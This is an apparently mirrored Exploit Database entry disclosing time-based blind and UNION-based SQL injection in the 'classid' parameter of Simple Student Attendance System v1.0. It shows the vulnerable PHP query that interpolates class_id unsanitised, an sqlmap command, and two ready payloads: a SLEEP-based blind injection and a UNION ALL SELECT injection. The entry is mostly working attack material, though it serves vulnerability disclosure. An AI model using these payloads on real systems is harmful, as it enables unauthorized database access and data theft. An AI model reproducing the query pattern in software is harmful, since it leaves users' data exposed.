Simple Student Attendance System v1.0 – ‘classid’ Time Based Blind & Union Based SQL Injection

• Exploit Database
• 116 阅读

• 作者： Gnanaraj Mauviel
  日期： 2024-03-03
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51842/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

  # Exploit Title: Simple Student Attendance System v1.0 -&apos;classid&apos; Time Based Blind & Union Based SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL   -------------------------------------------------------------------------------------------------------------------------------------------   Source Code(/php-attendance/classes/actions.class.php):   public function attendanceStudents($class_id = "", $class_date = ""){ if(empty($class_id) || empty($class_date)) return []; $sql = "SELECT <code>students_tbl</code>.*, COALESCE((SELECT <code>status</code> FROM <code>attendance_tbl</code> where <code>student_id</code> = <code>students_tbl</code>.id and <code>class_date</code> = &apos;{$class_date}&apos; ), 0) as <code>status</code> FROM <code>students_tbl</code> where <code>class_id</code> = &apos;{$class_id}&apos; order by <code>name</code> ASC"; $qry = $this->conn->query($sql); $result = $qry->fetch_all(MYSQLI_ASSOC); return $result; }   -> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch --- Parameter: class_id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=attendance&class_id=446&apos; AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND &apos;nqTi&apos;=&apos;nqTi&class_date=0002-02-20   Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: page=attendance&class_id=446&apos; UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20 ---